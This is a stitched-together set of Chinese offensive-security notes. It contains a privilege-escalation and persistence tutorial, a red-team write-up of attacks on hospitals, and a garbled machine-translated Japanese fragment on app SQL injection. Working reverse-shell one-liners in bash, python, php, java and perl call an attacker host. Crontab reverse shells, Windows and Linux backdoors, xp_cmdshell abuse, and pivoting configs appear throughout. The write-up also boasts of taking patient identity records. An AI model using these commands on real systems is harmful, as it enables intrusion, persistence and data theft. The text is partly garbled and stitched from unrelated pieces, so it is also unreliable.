前提:已经获得了目标机器的meterpreter shell,当前权限为普通用户

  • bypassuac模块通过进程注入,利用受信任的发布者证书绕过windows UAC,它将为我们生成另一个关闭UAC的shell
  • bypassuac_injection模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率
  • bypassuac_eventwr模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

msf exploit:>use exploit/windows/local/bypassuac
然后根据msf exp对reverse_tcp(bind_tcp)、lhost等进行参数设置

利用系统漏洞bypass uac

CVE编号:CVE-2019-1388,windwos证书对话框特权提升漏洞。补丁号KB4524235 KB4525233

  • 漏洞原理:此漏洞是因为UAC机制设定不严导致的。默认wdnows会在一个单独的桌面secure desktop上显示所有UAC提示。这些提示是由consent.exe的可执行文件生成的,该文件以NT AUTHORITY\SYSTEM身份运行,并有system的完整权限

如果在运行一个可执行文件时触发了UAC,在点击 展示证书发行者的详细信息 之后,证书里的Issued by字段,这个字段对应的值就是OID。证书会解析OID的值,windows没有禁用OID处的超链接,就可以利用提权

要能连3389

Linux提权

linux提权相对于windows的手法较单一,多了一个比较重要的suid提权。有很多时候提权并不是必须进行的步骤

linux系统提权

linux和内核提权跟windows一样,都要下载对应漏洞的脚本提权

uname -a 获取操作系统内核版本和内核架构
id 获取用户信息

  1. 查找相关版本的内核漏洞
  2. exp搜索链接:https://www.exploit-db.com/ (type选local)
exp下载:http://github.com/SecWiki/linux-kernel-exploits
  1. 上传exp并编译
    exp是.c文件,上传到服务器后需要用gcc编译。.cpp用g++
    编译 gcc pwn.c -o pwn (exp下载文件里有对应的编译说明文档)
    运行 ./pwn
    如果目标机没有gcc或者g++,自己没有权限也肯定不能安装。唯一的办法是在本地搭建一个和服务器内核版本相同的环境,在里面编译完成了再上传至靶机

windows提权成功后在exp后接命令就是高权限运行,但是linux提权成功是返回一个shell。脚本执行后返回shell失败,可能是需要反弹shell

脏牛提权实例

  1. id查看目标机用户权限
  2. uname -a目标机的linxu kernel>=2.6.22进行脏牛提权
  3. 寻找对应exp `http://github/FireFart/dirtycow
  4. exp下载至目标机并编译 gcc -pthread dirty.c -o dirty -lcrypt
  5. 完成后,销毁firefart密码文件即可恢复root
    mv /tmp/passwd.bak /etc/passwd

获取shell后将shell转换为完全交互式的TTY:python -c 'import pty;pty.spawn("/bin/bash")'

suid提权

此处涉及权限划分的知识。在Linux中通过权限位rwx实现文件权限管理。d目录,-普通文件。r read;w write;x execute
wxe4f3hjhib15251.png

所有者-所属者-其他用户

  • suid作用于二进制可执行程序上,当执行程序时会临时切换身份为文件所有者身份为文件所有者身份。
    chmod u+s FILE\chmod 4755 FILE 添加SUID权限到二进制文件(在三位数据权限前,4代表添加到SUID位)
    chmod u-s FILE\chmod 0xxx FILE 删除suid
    a5q4g0dnxyc15252.png
  • 文件属主为s表示设置了suid.没有x权限用大写S,表示权限无效

简而言之,任何用户执行有suid的文件时,都会以第一个权限运行

所以利用suid提权的一个小案例就是:
创建一个1.c文件,代码如下:

#include<unistd.h>
void main(){
setuid(0); #root的uid=0,意味着执行后面的代码是root权限在执行
system("su - root);#将当前环境转为root
}

gcc 1.c -o 1编译
chmod u+s 1 添加suid
./1 执行
su - root !=su root.su 只是切换了root身份,但shell环境依旧是普通用户,su - 用户和环境一起切换了。

linux数据库提权

和windows一样的,udf提权

  • 环境要求:配置中secure_file_priv="",
    mysql具有root权限,具有sql语句执行权限,目录可读可写,selinux关闭

先获取低权限shell,提权过程:
1fnonuek02d15254.png

  1. 查看plugin目录路径 show variables like '%plugin%';
    select unhex('udf十六进制') into dumpfile 'usr/lib64/mysql/plugin/1.so'; (plugin路径/1.so)
  2. 声明函数 create function sys_eval returns string soname '1.so';
  3. 执行高权限命令 select sys_eval('whoami');
  4. 清除痕迹 drop function sys_eval;

windows soname动态链接库指向udf.dll,linux指向.so文件,所以声明的函数也要是.so文件里的。
详情请见上篇windows提权

反弹shell

  • 反弹shell使用场景:防火墙会阻止客户端主动连接服务器,但是服务器连接客户端通过防火墙时,可以穿透到达客户端

nc

netcat简称nc,被称为渗透测试中的瑞士军~~~~刀。
它可以用作端口监听、端口扫描、远程文件传输、远程shell等

  • 语法:nc [-hlnruz][-g 网关][-G 指向器数目][-i 延迟秒数][-o 输出文件][-p 通信端口][-s 来源IP][-v 次数][-w 超时秒数][主机名称][通信端口...]
  • 反向shell
    假设在目标主机找到了RCE漏洞,可以在目标主机上用nc发出命令启动反向shell
    uct2brgy0pp15257.png
  1. 在攻击机或vps上监听本地端口nc -lvp 监听端口号
  2. 靶机命令,连接攻击机的监听端口nc 攻击机ip 监听端口号 -e /bin/bash #linux
    nc 攻击机ip 监听端口号 -e c:\windows\system32\cmd.exe #windows
    -e:将bash shell 发回主机
  3. 正向shell
    正向shell时在目标机使用nc将bash shell绑定到特定端口,攻击机nc连接到此端口
    eiqz0w4wgyw15260.png

bash反弹shell

目标主机可能没有nc或不支持-e参数时,就需要以下方式反弹shell

  • 攻击机监听:nc -lvvp 端口
  • 目标主机:bash -i >& /dev/tcp/攻击机ip/监听端口号 0>&1
bash -i产生一个交互式shell
&将&前后内容相结合重定向(>)至后者
/dev/tcp/ip/port对socket网络连接的抽象
0>&1将标准输入和标准输入内容相结合,然后重定向至标准输出内容。0标准输入、1标准输出、2错误输出

其他反弹shell方式

python反弹shell

import soket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",监听端口号));
os.dup(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

php反弹shell

$sock=fsockopen("攻击机IP",监听端口);
exec("/bin/sh -i <&3 >&3 2>&3");

java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/监听端口;cat <&5 | while read line;do $line 2>&5>&5;done"] as String[])
p.waitFor()

perl 反弹shell

use Socket;
$i="攻击机IP地址";
$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
(open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};

perl和python绝大多数服务器都会装,所以很有用

以某次内网渗透为实例

横向渗透预备工作

pumeeyipulr15267.png
假设是如上拓扑图。先无视防火墙,内网机器无法直接访问外网,必须要走边界机。

获得低权限shell

  • 在网站信息搜集看到是joomla模板
  • msf里search joomla 查看 辅助模块auxiliar里的扫描脚本auxiliary/scannner/http/joomla_version
  • use脚本设置rhost参数,然后expolit运行可以看到网站版本。expolit -j -z挂后台
  • searchsplopit joomla 版本寻找exp,最好是在exploit.db找,这里图个方便
  • 把脚本copy到msf的exploits/multi/php目录下,然后reload
  • use exp脚本,set rhost\rport参数和lhost\lport参数,set payload为reverse或者bind,exploit运行

目前获得了低权限shell,sessions进入shell

提权

  • uname -a查看系统信息
  • gcc --version看到有gcc,就找c语言的脚本。另起一个终端nc --lvvp 端口监听新端口
  • shell里bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1反弹shell
  • searchspolit linux kernel 内核版本 --exclute="(PoC)|/dos/"搜索本地提权脚本。除去Poc和dos,就剩本地脚本了。同理,也可以在expolit.db上找
  • 上传脚本,但是靶机的网站根目录不可写(很少见),写到/tmp目录
  • gcc -o 输出文件名 脚本名编译,./文件名运行。不行就换脚本,脚本里有使用方法,事先看一下

提不了就别提了,不是非要提权(试李妈半天都提不起,不知道这些exp谁写的)

一级代理

  • 靶机python reGeorgSocksProxy.py -u http://IP -p 代理端口建立代理转发服务器
  • ipconfig或者其他的看下网段,run autoroute -s 网端开启路由转发
  • use auxiliary/scanner/discovery、nmap、ping扫描等扫同网端存活主机
  • 扫描端口use auxiliary/scanner/portscan/tcp或者nmap扫,设置一下rhost和常用端口,运行
  • vim /etc/proxychains.conf配置代理,浏览器开代理访问内网网站(建议foxyProxy插件)

如果开了80端口,接下来就是搞内网的站,拿内网的webshell。注意蚁剑和burpsuit等工具也要配置代理

reGeorgSocksProxy指定的端口要和proxychains.conf文件里的端口一致,因为这波操作的意义就是把边界机当作跳板,regeorgsocksproxy.py在边界机起到代理服务器的作用,proxychains就是客户端

内网的站打下来了重复上述步骤到提权。

二层内网渗透(bind)

  • 生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
  • 同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
  • 在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
  • 扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描

如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信

lcx被检测概率太大,用frp

二层内网渗透(frp工具reverse)

关于frp要分清楚客户端和服务端到底应该放在哪。具体可以看==frpc.ini==和==frps.ini==

比如某frpc.ini的内容

[common]
server_addr=172.16.12.2
server_port=7100
[ssh]
type=tcp
local_ip=127.0.0.1
local_port=5000
remote_port=5000

如上,客户端连接服务端的7000端口,是将本机的5000端口数据以tcp转发到172.16.12.2的5000端口。因为你开frp也需要端口的嘛。这样连接服务端的5000端口就相当于连接客户端的5000端口。
服务端只有两行,监听一下就行了

[common]
bind_port=7100

这里,我要强调本文的精华

==frp端口转发与内网穿透==

do11g3ae5qw15273.png

还是这张图。对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机、frpc在外网kali。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。

可以理解为都是端口转发,访问frps所在主机就相当于访问frpc,所以frps一定要在中间的机器上。逻辑理不通建议反复读来回读读通读透。有很多文章啊就不介绍端口转发和内网穿透有什么区别,整半天都不知道frps放哪,虽然只学内网穿透就够外网打内网一招鲜了。

上传frp和ini文件,运行。重新msfvenome生成一个reverse木马,lhost指向边界机 lport也是边界机要开的端口。(木马的lhost指的是需要连接的ip,不是指上传的ip)
上传木马到二层边界机运行,再在边界机shell里开监听(监听msf木马lport)

二层代理

  • msf开二层代理,在刚在监听的shell里use auxiliary/server/socks5,然后run运行
  • 对之前arp扫描的主机use auxiliary/scanner/portscan/tcp扫描端口,设置rhost参数,准备再往里打
  • 配置浏览器代理,选socks5,端口和socks5脚本show options的端口一致
  • 访问三层内网机的80端口,准备三层内网渗透(打80端口)

二层渗透就搞定了。如果三层内网要出网经过二层内网。用bind的话还好,用reverse就需要用两次代理转发

简单提一下三层内网,可以上传lcx再进行一次端口转发,把二层内网机的frp端口转发到边界机,或者走frp代理。这样都是frp端口就串起来了,再把三层内网机reverse到二层的端口等于二层转发的端口,相当于直接reverse出去

所以!多层代理就是把多层主机端口串起来!

什么?拿完shell,几台机子的shell来回切你嫌麻烦?可以直接用Termite工具

Termite

Termite用于管理多层跳板,有admin和agent两个文件。

  • 在第一个节点上传agent的对应版本,运行./agent_版本 -l 端口
  • 在攻击机运行admin的对应版本 -c 边界机ip -p 端口,连接没问题就跳ok
  • admin的shell里goto 1进入第一个节点,shell 端口。然后起个终端开nc或者其他监听,监听该端口,弹回了第一个shell
  • 二层机器agent对应版本 -c 上一层ip -p 上一层端口。端口与前面开agent和admin的端口一致。

小站权限维持大部分还是靠webshell后门,其他的可以,但没必要。还有搞站最好别在晚上搞,晚上流量少,搞站日志记录和流量占比很大。因而写的好的木马流量控制做的很好,上传和下载速度都有控制

权限维持

权限维持不一定是高权限。后门最好都要伪装,如启动,图标,名字。经过学习个人认为权限维持=隐藏后门

windows后门

常见的后门:shift后门,启动项/计划任务,映像劫持,影子账户,远控
大多数情况下,后门是一个隐藏进程。

  • shift后门

windows按五下shift后,windows就运行了system32下的sethc.exe,启动粘滞键。

将cmd.exe更名为sethc.exe并把原来的替换,之后连续按下5次shift后就会以system权限运行cmd.exe,之后只要利用cmd增加一个administator就可以登录

除此之外,连接上3389之后可以使用的功能不止shift,还有放大镜等可以替换。

  • 映像劫持
    现在很难使用了,在高版本的windows版本中替换的文件受到了系统保护,所以要映像劫持。
    a.exe实际打开是b.exe,就是劫持

映像劫持也称IFEO,是为一些在默认系统环境中运行时可能引发错误的程序执行提供特殊的环境设定。默认管理员有权读写

映像劫持的制作过程

  1. 在注册表中新建一个项
    注册表位置HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options
  2. 程序中添加debugger键
  3. 键值设置为恶意程序的路径
  • 计划任务后门
    计划任务在win7及之前版本的操作系统中使用at命令,win8及之后使用schtasks命令

创建计划任务基本命令: schtask /create /t "chrom" /tr cmd.exe /sc minute /mo 1
上述命令的意思为创建一个计划任务名字为chrom,执行cmd.exe每分钟执行一次。执行后门就改指向文件和执行频率

  • 注册表自启动后门

制作过程

  1. 打开注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
  2. 添加键值REG_SZ
  3. 数据中填运行程序路径
  • 影子账户(杀毒能杀)
    顾名思义隐藏账户,只能通过注册表查看该用户。影子账户可以获得管理员权限且不易被发现

制作过程

  1. 创建隐藏账户
    创建隐藏账户只需在账户名后加\$符号,如net user test$ 123 /add
  2. 修改并导出注册表
  • 注册表位置HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/,如进入SAM无法看到子选项,需要给administrators完全控制权限
  • 将administrator用户的F值复制到test\$对应F值,保存
  • 将test\$和users右键导出
  1. 删除创建的隐藏用户
    cmd删除test\$net user test$ /del
  2. 导入注册表
    双击导出的两个注册表

影子账户试了一下,还是很牛逼的。

linux后门

  • 计划任务后门(crontab后门)

crontab命令介绍
gaq3sowrh4q15276.png

  • crontab命令用来管理用户需要周期执行的任务。等于windows计划任务。crond进程每分钟会定期检查是否有要执行的任务,如果有则自动执行
    通常在计划任务中添加后门,或者替换服务进程,以及反弹shell
  • 反弹shell
  1. 攻击机监听nc -lvvp 本地端口号
  2. 目标机中设置计划任务crontab -e
    下列代码表示每分钟反弹一次shell到攻击机
    */1 * * * * bash -i >& /dev/tcp/攻击机外网ip/攻击机端口 0>&1
  • ssh公钥免密(常用)
    将客户端生成的ssh公钥写道目标服务器的 ~/.ssh/authorized_keys中,之后客户端利用私钥完成认证即可登录。该后门易被发现

制作过程

  1. 在攻击机上生成公钥私钥对
    ssh-keygen -t rsa

在中途会让输入密钥对密码,如果需要免密登录则回车跳过

  1. 将攻击机.ssh目录下的id_rsa.pub复制到目标服务器的/root/.ssh/authorized_key文件里
    scp ~/.ssh/id_rsa.pub root@目标服务器IP地址:/root/.ssh/authorized_keys
    450wvythgqg15280.png
  2. 在目标服务器中,将authorized_keys权限改为600
    chmod 600 /root/.ssh/authorized.keys
  3. 尝试免密登录

详情请见ssh登录详解

  • ssh软连接后门
    非常经典的后门,直接对sshd建立软连接,之后就能用任意密码登录

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息,su在pam_rootok检测uid 0即认证成功,也可以使用/etc/pam.d中存在的其他软连接名字

特点:1. 隐蔽性弱,rookit hunter这类防护脚本可以轻松扫到

  1. 本地查看端口会暴露
  2. 能绕过一些流量监控

制作过程

  1. 创建软连接 ln -sf /usr/sbin/sshd /tmp/su
  2. 设置监听端口。因为本地查看端口容易暴露,建议设置8080,8081伪装 /tmp/su -o Port=8080
    运行/tmp/su就等于运行/usr/sbin/sshd,连不上可以nmap扫一下,有防火墙连不上
  • inetd/xinetd后门(很老很老)
    监听外部网络请求(socket)的系统守护进程
    具体工作过程:当inetd收到一个外部请求后,会到配置文件中找到实际处理它的程序,在把socket交给那个程序处理

inetd后门制作

  1. 向/etc/inetd.conf文件中加入一行:daytime stream tcp nowait root /bin/bash bash -i
  2. 开启inet后用nc连接:nc -lvvp 目标ip 13

还有prism后门等在服务器安装软件的,极易被发现



作者:godown文章原文来源: https://xz.aliyun.com/t/11784




来自为知笔记(Wiz)

0x00 写个开头凑字数

这次攻防打的还是比较有意思的,开局电脑摆烂恼火的很,最后没电脑只能拿着销售的电脑疯狂输出。

image.png

去拿电脑没一会的功夫我们的私有目标就被干出局了,这次的规则还是有点问题按系统分给各个队伍,不是按照目标单位分的,别人分到我们私有目标的部分系统基础分和数据分薅完一下被干出局了,后面再打只有100路径分,还有老6盯着我们的私有目标打,有个泛微office的洞我们手上没有,目标一放出来就穿了,怪自己太菜了。

排名最后还算理想吧最终排名第三,跟两个技术大哥没后端支撑的情况排到前三还是可以的,前面两位重量级选手卷不过啊,一个提交0day另外一个后端支撑有名的卷,最后前两名分数比我们高出一半多。

废话讲完了,开始我们的内容,码打的严师傅们勿怪,文章最后欢迎师傅们留下评论来交流。

0x01 目标

某医院外网弱口令

第一天分了私有目标和公共目标,这个目标是公共池目标,运气也是比较好外网一个弱口令直接进去了,主要就是要知道IP地址,突破到内网这里没啥技术含量,目标给的是一个官网的地址,估计其他队伍的师傅们都去冲云上官网那个IP了,后面云上的我们也通过信息科专用共享服务器上密码文件拿到了所有权限。

攻击路径

image.png

下面我会按照上面图上标记的序号说明内网攻击过程

路径1/路径2 外网弱口令

这里说下这个目标IP怎么来的,通过IP地址收集C段信息找到h3c设备,默认审计账号密码登陆上去命令控制台查看对应授权信息确定是目标IP地址,但是审计账号没有配置权限没法做vpn隧道这些,所以做了个全端口扫描发现一个非标准端口的ssh弱口令,这里拿到服务器权限后我先做了一个反弹shell计划任务。

crontab -e编辑计划任务

bash -c 'exec bash -i &>/dev/tcp/you vps ip/you vps port <&1'

做完计划任务之后我才上fscan扫描,发现内网很多ssh、mssql弱口令,ssh反弹shell计划任务又做了几台,防止一会动作太大掉了。

image.png

内网弱口令一薅一大把,建个frp方便一会去内网翻东西,下载对应编译好的版本就可以。

项目地址:https://github.com/fatedier/frp

frp server

[common]
bind_port = 8945

frp client

[common]
server_addr = you vps ip
server_port = 8945
tls_enable = ture
pool_count = 5

[plugin_socks]
type = tcp
remote_port = 35145
plugin = socks5
# 认证 免认证把下面两行去掉
plugin_user = admin
plugin_passwd = Admin@123
use_encryption = true
use_compression = true

vps上执行

./fprs -c frps.ini

跳板机上执行

./fprc -c frpc.ini

确定连接没问题之后nohup &到后台,这里如果用的腾讯云或者阿里这种vps一定记得端口组里面开启对应的端口,否则连接不上,proxifier确定代理可用。

image.png

路径3 运维机器

这里通过刚才fscan扫描到的mssql弱口令打的一台运维终端主机

# 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp_cmdshell', 1;RECONFIGURE;
# 命令执行
exec master..xp_cmdshell "whoami"

相关文章

https://www.cnblogs.com/websecyw/p/11016974.html

确定命令正常执行是个system权限,certutil下载木马上线,抓出密码后确定管理员不在线远程到桌面。

image.png

路径4 服务器所有权限

远程到终端上面才知道这台机器是运维的机器,终端上面打开了sql server连接软件,同样使用上面的命令开启xp_cmdshell执行命令,这里sql server数据库做了降权操作,权限是sqlserver服务权限。

image.png

这里上马子的时候一直有问题权限太低了,上面有火绒企业版开启了系统加固,temp目录写文件写不进去,只拿了sqlserver权限,后面测试了下关闭火绒还是不行,应该是本来sqlserver权限就比较低,后面发现火绒控制台可以分发文件自动执行马子就没管了,这个可以后面复现下环境研究下。

image.png

查看浏览器保存的密码,火狐浏览器里面保存了火绒控制台的账号密码,还有其他一些平台的账号密码,密码收集一下一会可以撞密码。

image.png

everything文件搜索关键字,不管服务器还是终端的文件都仔细翻下,说不定就有意外收获。

密码|信息科|资产表|拓扑|账号|设备|pass|user|config|管理|规划

ereryting高级用法(正则表达式),也可以使用content搜索文件内容,文件内容搜索比较慢。

ererything相关文章 https://www.jianshu.com/p/9c0ab75a264f

在电脑上找到了设备密码信息还有拓扑信息

image.png

设备服务器所有信息

image.png

基本上是所有的网络设备和服务器权限了,这里整理下密码去撞一下密码,在整理密码的的时候发现这个密码是有规律的密码,梳理一下密码的规律使用社工密码生成脚本去生成一些密码。

工具下载地址:https://github.com/cityofEmbera/CPassword

工具使用比较简单,我们只需要修改username.txt里面的名字就可以了,dict.txt里面有自带的规则,我们也可以稍作修改,比如增加一下密码里面自带的一些规律,还有最近的年份信息,比如:

@2013
@2014
@2015
@2016
@2017
@2018
@2019
@2020
@2021
@2022
#2013
#2014
#2015
#2016
#2017
#2018
#2019
#2020
#2021
#2022
123!@#
!@#123.
@233
!@#345
!@#qwe

python3 createDict.py就会自动生成密码文件,密码保存在createdict.txt文件里面,密码生成后丢给kscan指定密码文件去撞密码。

kscan.exe -t 10.0.0.0/8 --hydra --hydra-pass file:pwd.txt

路径5 火绒控制台文件分发

这里就是使用火绒控制台分发文件的功能直接下发文件,这里也是神奇哈文件分发后居然自动执行了,牛呀牛呀

image.png

火绒控制台这里不知道为啥我的浏览器一开控制台直接卡死,找J师傅给我看的,文件直接分发下去

image.png

装了火绒的机器全部上线,有些内网机器没上线,这里CS 4.3有问题选择中转监听器生成文件生成不了

image.png

image.png


看了下有一台靶标机器也在,芜湖分数基本算拿满了,服务器、网络设备、终端的分再加上回收站翻到的带公民身份信息的数据4w条,6k分到手了

路径6 云上资产

这里打到一台信息科共享服务器是通过刚才收集到的口令撞密码撞出来的,还有上面sqlserver弱口令也可以执行命令,因为前面sa弱口令实在太多了,没一个一个去打,这里有口令直接使用工具打一下上线

image.png

随便翻了下文件发现E盘有个信息科专用文件夹点开一看好家伙云上的资产也拿到了

image.png

路径7 域名权限

用刚才的账户密码登陆获取域名解析权限

image.png

云服务器权限,其中一台服务器是官网服务器,是其他队伍的靶标直接拿了

image.png

路径8 云服务器权限

直接阿里云控制台登陆上去用c2生成powershell上线

image.png

某综合医院

这个目标是开始后的第三天晚上开放社工还有近源搞的

攻击路径

image.png

路径1 wifi口令

开放社工和近源那天立马就去报名了,吃完饭换掉工作服拿着手机就冲去医院了,之前手机上刷了kali nethunte,编译了一些arm版本的工具完全够用了,只要在内网建立个立足点就可以了。

到现场之后打开wifi万能钥匙搜索附近的wifi

image.png

连上wifi确定可以通到靶标IP地址,微信扫描二维码密码取出来,一会内网再撞一下密码。

image.png

登陆网关地址发现是h3c出口设备,弱口令登陆到设备上面有网段信息根据网段信息去扫描对应的网段

image.png

路径2 向日葵rce

kscan指定wifi密码文件撞下3389、22、1433这些脆弱端口的密码,拿到了一台内网机器和一台外网机器。

外网机器有向日葵rce漏洞,whoami之后好像把向日葵打挂了(这里不知道什么问题,没找到原因),后面执行命令一直 不回显

image.png

用密码远程登陆上去发现向日葵一直重新连接状态退出重新开还是一样的,把马子上好之后以防万一装个todesk一会远程弄

image.png

路径3 靶标机器

通过刚才外网跳板机todesk远程,直接扫内网服务器网段撞密码撞出一台机器,发现服务器上装了todesk,保存了三台靶标机器的todesk远程,美滋滋a

image.png

image.png

加上刚才终端his系统上的数据,6k分打满了

某专科医院

这个医院当时晚上去的关门了,第二天早上一大早过去了,这个医院进去有点尴尬和社死,当时过去没先查下这个医院是什么类型医院,门口没wifi只有进去了,进去的时候门口医生还是门卫问我挂什么科。

男科?妇科?

我:???

然后又看了看我脖子上有点过敏,说挂皮肤科吗?

我:啊 对对对 皮肤科

进去之后一搜这个医院信息,我敲了这好像是个专科医院懂得都懂

进去正常挂号在那边等,这个医院好像没专门皮肤科的医生,挂完号让我等了一个多小时,打开手机坐着连上wifi开始扫内网

1655648732832-5d0ef9aa-f9d4-4905-a993-08efcaefa04c.png

没等到医生,拿了个跳板机上了马子就溜溜球了,内网只有一个孤儿机器

攻击路径

image.png

路径1 wifi口令

同样wifi万能钥匙进去

路径2 靶标机器

这里扫描内网发现了一个ms17010是一个win2012的机器,手机上msf直接单命令执行试试。

image.png

机器上有360加账号加不上,certutil试了下机器上没有,看了下有向日葵的进程,那么我们可以直接读取他的配置文件解密直接远程到机器上。

配置文件路径


安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini

便携版(绿色版):C:\\ProgramData\\Oray\\SunloginClient\\config.ini

尝试了下没有这两个文件

image.png

应该是高版本的,可以试试注册表里面找,看了下有360希望别拦截

# 注册表查询
reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo

reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo

1655654565028-718d09f4-479b-46ec-ab2c-0d2f066753e2.png

芜湖没拦截,抓出来直接丢工具里面解密

向日葵解密工具地址:https://github.com/wafinfo/Sunflower_get_Password

工具使用比较简单,git下来pip安装好unicorn,然后python3执行输入刚才我们注册表里面获取到的encry_pwd字段,根据提示输入到脚本里面

image.png

验证下可以连接,直接向日葵远程拿到主机的权限,溜溜球了

某ZF单位

这个单位没啥东西,这是最后几天跑了ZF街趴墙角一个一个单位薅这个算一个案例吧,拿到了出口设备可以搭建vpn,直接启用l2tp搭建隧道进入内网,为了保住前三的位置拼尽全力了。

攻击路径

这个没截图,可以看下面的文章,关键的步骤这里。

image.png

参考文章:

https://zhiliao.h3c.com/questions/dispcont/146895

https://baijiahao.baidu.com/s?id=1716025203844234922&amp;wfr=spider&amp;for=pc

如果vpn搭建不起或者设备没vpn授权,但是有nat和telnet功能,你有足够的耐心的话也可以参考我之前文章的思路,通过telnet去测试内网的脆弱端口映射到外网,写个脚本去批量测试提高效率,上次比赛回来没来的及写。

文章地址:https://forum.butian.net/share/1633

0x02 总结

这次突破到内网没啥干货,主要是内网横向这块这次攻防遇到的一些东西,在第一个医院拿靶标的系统的时候从运维机上xp_cmdshell攻击靶机,sqlserver数据库做了降权操作temp目录写不了,一直拿不下上面的靶标系统,后面是通过火绒控制台分发文件上线的,其实最开始就已经拿到火绒控制台了,没有去用这个功能怕影响太大了,后面实在没办法了才用,自己会的sqlserver利用姿势还是太少了还得学习,后面基本上都是些社工的东西,划水划到的第三名,电脑坏了拿销售电脑打太费劲了大半时间配置环境

最近也看到一篇关于sqlserver比较好的文章分享一波,社区师傅们姿势多的

https://forum.butian.net/share/1390

最近打攻防总结的一些东西,欢迎师傅们来交流

一些技巧总结:

外网打点

  • 资产收集 ENScan_GO
  • 空间绘测 fofa/360quake/shadow/zoomeye/hunter
  • kunyu/fofa_viewer/infoSearchAll
  • 轻量扫描器
    • kscan 服务识别 可以配合fofa快速识别
    • fscan c段快速识别
  • 子域名对应IP C段资产快速扫描
    • 子域名信息收集 oneforall/subfinder/ksubdomain
    • 快速筛选真实IP生成C段 Eeyes
  • web指纹识别
    • EHole 很好的一个工具,可以二开下增加指纹和空间绘测引擎接口
    • tide潮汐指纹web在线检测
    • TideFinger
    • httpx 获取网页标题状态码

内网主机信息收集

  • everything文件搜索(正则表达式提高效率)
  • 浏览器保存的密码/微信/QQ文件夹/回收站/共享盘/邮件软件/协同软件
  • 远程软件保存的远程连接 mstsc/内网通/向日葵/todesk等

内网常见漏洞

  • 向日葵rce(向日葵真的爽)
  • weblogic
  • s2
  • redis
    shiro



原文地址:   https://forum.butian.net/share/1719

1。アプリパケットキャプチャと逆クラッキング暗号化アルゴリズム

オープンアプリはログインボックスです

图片

パケットをキャッチした後、パラメーターが暗号化されました

图片

JADXオフソースコードを使用して、砲撃や混乱がないことがわかりました。とても幸運でした。

图片

Experienceによると、暗号化、復号化などのキーワードを最初に検索し、Common.jsに暗号化機能があることがわかりました。

图片

過去の配置、暗号化と復号化アルゴリズムのセットが書かれてここに配置されています

图片

ブラウザコンソールに入れてデバッグしてください、それは本当です

图片

2。注入点を見つけます

最初に注入をテストします

プレーンテキスト: {'username':'test' '、' password':'123456 '、' ostype':'android '、' osversion':'5.1.1 '、' appversion ':'20。 06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'86516023309431 '、' version ':'new '}

パスワード: QSXBDUSV0QPJKD5TWYR90SSHKWZZFVIPKWUNFCK1GZZPKEZVJWWJ2ASJDZWXWRL5KURRVMFTWZOBHWTVUMR1KWSZZFV4TMRSBFBYIWCSV0YXRGBZWEBTSD 0T0J1RJFWNXNLMRMRBTUHZLBSRNTXF2SOVEVWZEBSBFCZEWVXAJVLXMMMZZYVY0D1TYP0VHNDBXNFNSVVYQX2VWHKTX50U41WW3JVNLMTUNFR4VVYSJVUVUF dbgjltwhuxftvhzhcxnvmspnvobnbtlfcxy1qobtwvbhmr1ebxjvc4vuzw0ebubxotfmswh1tyzubulteasdfw1attpxmmkbhbhbwe2ckpw1okvilgatnf C5UVYWRGMZFTSW1KAA52UEHXVHPLUSR1DWSWYOHGWTBXOVFMUXITWYI1VNPGCUJFSODVYZW2VTVNRW1KVATWVZXX2AOPKTSDFMAVLYVLIVXMBWLXTX10SSHLW結果:アプリは例外图片を返します

プレーンテキスト: {'username':'test' '' '' '' '' '' '' '' '' '' '' '' '' :'123456 '、' ostype':'android '、' osversion ':'5.1.1 '、' appversion':'20 .06.04 '、' logintype':'1 '、' model ':'v1938t '、' brand':'vivo '、' imei':'865166023309431 '、' version ':'new '}

